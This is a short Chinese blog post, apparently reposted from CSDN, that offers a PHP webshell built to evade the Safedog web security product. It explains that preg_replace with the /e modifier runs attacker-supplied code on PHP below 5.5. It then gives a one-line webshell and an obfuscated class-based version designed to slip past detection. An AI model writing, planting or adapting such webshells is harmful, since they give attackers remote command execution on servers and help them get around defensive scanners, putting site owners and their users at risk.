新年到了，送给大家一个PHP免杀的webshell吧。（仅限PHP5.5以下版本）
测试环境
-
PHPstudy8.0.9.2，其中PHP版本为5.2
-
网站安全狗V4.0正式版
原理
preg_replace函数中使用/e修饰符，造成命令执行。
在PHP5.5以后，/e修饰符被弃用，这种方法就不行了。
<?php$a=$_GET['nb'];preg_replace("/dog/e", $a, "I am a sb dog");?>
在以上代码中，$a中内容会被当做php代码去执行。
但是，不幸的是，这样是无法绕过安全狗的。
因此我们需要对上面代码进行混淆，以便绕过安全狗。这里我采用的是自定义类。
<?phpclass SBdog{public $x;function dog(){$this->x=$_GET['nb'];}}$class=new SBdog();$class->dog();$a=$class->x;preg_replace("/dog/e", $a, "I am a sb dog");?>
通过定义一个SBdog类，并调用dog函数，将类中$x值赋给$a，这样就可以绕过了。
ps：菜鸡写的文章，有什么错误还请大佬们多多指正。
来源：CSDN
作者：K'illCode
链接：https://blog.csdn.net/Dome_/article/details/104122230